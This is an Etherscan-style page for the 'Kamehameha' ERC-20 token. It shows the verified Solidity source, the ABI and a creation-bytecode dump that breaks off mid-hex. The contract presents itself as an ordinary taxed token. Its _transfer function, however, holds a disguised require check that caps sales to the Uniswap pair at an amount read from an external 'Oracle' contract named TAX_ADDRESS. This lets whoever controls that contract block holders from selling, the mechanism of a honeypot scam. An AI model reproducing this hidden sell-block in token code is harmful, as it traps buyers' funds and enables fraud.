ETH Price: $3,528.85 (+4.18%)

Token

Kamehameha (Kamehameha)
 

Overview

Max Total Supply

100,000,000 Kamehameha

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
412,309 Kamehameha

Value
$0.00
0xe2dfd3670840754204bf7af590760a02c495eb7d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kamehameha

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-22
*/

/**
 * TELEGRAM t.me/KamehamehaTokenERC20
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

address constant TAX_ADDRESS=0xEF6A09A6248182f6568818b4972E55CE5f417Cd0;
address constant WALLET_ADDRESS = 0x841729Ec45A1Fd01EAB0E411b66A4dA63E9F063F;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "Kamehameha";
string constant TOKEN_SYMBOL = "Kamehameha";

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface Oracle{
	function amount() external view returns (uint256);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Kamehameha is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	address payable private _taxWallet;
	uint256 private _tax=4;
	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	Oracle private _oracle;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(WALLET_ADDRESS);
		_rOwned[_msgSender()] = _rTotal;
		_router = IUniswapV2Router02(ROUTER_ADDRESS);
		_oracle=Oracle(TAX_ADDRESS);
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= _oracle.amount());

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}

		}
		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526305f5e10060001962000018919062000373565b6000196200002791906200032e565b60035560046006556000600960156101000a81548160ff0219169083151502179055506000600960166101000a81548160ff0219169083151502179055503480156200007257600080fd5b50600062000085620002f860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073841729ec45a1fd01eab0e411b66a4da63e9f063f600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600160006200018f620002f860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef6a09a6248182f6568818b4972e55ce5f417cd0600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000287620002f860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100604051620002ea919062000311565b60405180910390a362000409565b600033905090565b6200030b8162000369565b82525050565b600060208201905062000328600083018462000300565b92915050565b60006200033b8262000369565b9150620003488362000369565b9250828210156200035e576200035d620003ab565b5b828203905092915050565b6000819050919050565b6000620003808262000369565b91506200038d8362000369565b925082620003a0576200039f620003da565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612ae780620004196000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061233b565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611f0e565b61038e565b60405161014c9190612320565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061249d565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611ebf565b6103b8565b6040516101b49190612320565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190612512565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611e31565b610510565b604051610233919061249d565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612252565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a0919061233b565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611f0e565b61071a565b6040516102dd9190612320565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e83565b610c4e565b604051610331919061249d565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600a81526020017f4b616d6568616d65686100000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006305f5e100905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a8a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ee9092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611352565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164c565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed9061241d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b616d6568616d65686100000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c49061241d565b60405180910390fd5b600960149054906101000a900460ff161561081d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610814906123bd565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166305f5e100610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e5a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611e5a565b6040518363ffffffff1660e01b81526004016109c792919061226d565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611e5a565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906122bf565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f9c565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612296565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611f4a565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d44816116ba565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061247d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061239d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061249d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f819061245d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff19061235d565b60405180910390fd5b6000811161103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110349061243d565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a557600080fd5b505afa1580156110b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dd9190611f73565b81600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111895750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611194576000611197565b60015b60ff166111a49190612609565b11156111af57600080fd5b6111b76106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561122557506111f56106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112de57600960159054906101000a900460ff161580156112955750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112ad5750600960169054906101000a900460ff165b156112dd576112c36112be30610510565b611352565b600047905060008111156112db576112da476116ba565b5b505b5b6112e9838383611726565b505050565b6000838311158290611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132d919061233b565b60405180910390fd5b50600083856113459190612663565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156113de5781602001602082028036833780820191505090505b509050308160008151811061141c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f69190611e5a565b81600181518110611530577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061159730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115fb9594939291906124b8565b600060405180830381600087803b15801561161557600080fd5b505af1158015611629573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b6000600354821115611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a9061237d565b60405180910390fd5b600061169d611736565b90506116b2818461176190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611722573d6000803e3d6000fd5b5050565b6117318383836117ab565b505050565b6000806000611743611976565b9150915061175a818361176190919063ffffffff16565b9250505090565b60006117a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c9565b905092915050565b6000806000806000806117bd87611a2c565b95509550955095509550955061181b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611adb90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118fc81611b39565b6119068483611bf6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611963919061249d565b60405180910390a3505050505050505050565b6000806000600354905060006305f5e10090506119a26305f5e10060035461176190919063ffffffff16565b8210156119bc576003546305f5e1009350935050506119c5565b81819350935050505b9091565b60008083118290611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a07919061233b565b60405180910390fd5b5060008385611a1f91906125d8565b9050809150509392505050565b6000806000806000806000806000611a468a600654611c30565b9250925092506000611a56611736565b90506000806000611a698e878787611cc4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ee565b905092915050565b6000808284611aea9190612582565b905083811015611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b26906123dd565b60405180910390fd5b8091505092915050565b6000611b43611736565b90506000611b5a8284611d4d90919063ffffffff16565b9050611bae81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611adb90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0b82600354611a9190919063ffffffff16565b600381905550611c2681600454611adb90919063ffffffff16565b6004819055505050565b600080600080611c5c6064611c4e8789611d4d90919063ffffffff16565b61176190919063ffffffff16565b90506000611c866064611c78888a611d4d90919063ffffffff16565b61176190919063ffffffff16565b90506000611caf82611ca1858b611a9190919063ffffffff16565b611a9190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdd8589611d4d90919063ffffffff16565b90506000611cf48689611d4d90919063ffffffff16565b90506000611d0b8789611d4d90919063ffffffff16565b90506000611d3482611d268587611a9190919063ffffffff16565b611a9190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d605760009050611dc2565b60008284611d6e9190612609565b9050828482611d7d91906125d8565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db4906123fd565b60405180910390fd5b809150505b92915050565b600081359050611dd781612a44565b92915050565b600081519050611dec81612a44565b92915050565b600081519050611e0181612a5b565b92915050565b600081359050611e1681612a72565b92915050565b600081519050611e2b81612a72565b92915050565b600060208284031215611e4357600080fd5b6000611e5184828501611dc8565b91505092915050565b600060208284031215611e6c57600080fd5b6000611e7a84828501611ddd565b91505092915050565b60008060408385031215611e9657600080fd5b6000611ea485828601611dc8565b9250506020611eb585828601611dc8565b9150509250929050565b600080600060608486031215611ed457600080fd5b6000611ee286828701611dc8565b9350506020611ef386828701611dc8565b9250506040611f0486828701611e07565b9150509250925092565b60008060408385031215611f2157600080fd5b6000611f2f85828601611dc8565b9250506020611f4085828601611e07565b9150509250929050565b600060208284031215611f5c57600080fd5b6000611f6a84828501611df2565b91505092915050565b600060208284031215611f8557600080fd5b6000611f9384828501611e1c565b91505092915050565b600080600060608486031215611fb157600080fd5b6000611fbf86828701611e1c565b9350506020611fd086828701611e1c565b9250506040611fe186828701611e1c565b9150509250925092565b6000611ff78383612003565b60208301905092915050565b61200c81612697565b82525050565b61201b81612697565b82525050565b600061202c8261253d565b6120368185612560565b93506120418361252d565b8060005b838110156120725781516120598882611feb565b975061206483612553565b925050600181019050612045565b5085935050505092915050565b612088816126a9565b82525050565b612097816126ec565b82525050565b60006120a882612548565b6120b28185612571565b93506120c2